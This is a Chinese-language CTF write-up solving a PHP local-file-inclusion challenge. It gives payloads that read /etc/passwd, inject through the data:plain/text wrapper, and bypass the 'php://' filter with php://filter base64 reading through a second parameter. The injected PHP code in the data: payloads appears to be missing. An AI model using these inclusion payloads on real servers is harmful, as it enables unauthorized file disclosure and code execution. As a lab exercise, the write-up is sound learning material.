攻防世界-Web-Web_php_include

0x01

打开题目,代码如下:


show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

构造payload简单验证一下是不是文件包含:
?hello=xxx&page=/etc/passwd
结果如下:
攻防世界-Web-Web_php_include_第1张图片

可见属于文件包含类型的,但是他这里过滤掉了php://。去查资料发现PHP里面还有data:text/plain伪协议可以利用,详细的文件包含漏洞利用可以参考这里:文件包含漏洞学习总结

0x02

首先测试data:plain/text是否可用,使用如下payload:
?hello=&page=data:plain/text,
测试结果入下,可见成功运行了,说明我们可以构造任意代码执行。
攻防世界-Web-Web_php_include_第2张图片

0x03

接下来尝试列出该目录下的所有文件,payload如下:
?hello=&page=data:plain/text,
输出结果如图:
攻防世界-Web-Web_php_include_第3张图片发现了疑似存有flag的文件:fl4gisisish3r3.php

0x04

下面尝试读取该文件:
?hello=&page=data:plain/text,
发现没有输出,在这一步我卡了很久,也尝试过使用file://来读取结果还是不可以。
攻防世界-Web-Web_php_include_第4张图片

0x05

重新来看题,发现自己忽略了一个地方,就是hello这个参数一直没有用到,再看源码并未对hello做任何过滤,那么用到他的机会来了。我只要把有php"//的payload放到hello里提交,然后通过data:plain/text构造的代码去包含它,这样不就读取出fl4gisisish3r3.php文件了吗

构造payload:
?hello=php://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php&page=data:plain/text,
执行成功,返回:
攻防世界-Web-Web_php_include_第5张图片把返回的Base64(图中PD9wa开头那段)放入解码器中解码就得到flag

攻防世界-Web-Web_php_include_第6张图片

你可能感兴趣的:(WriteUp,安全)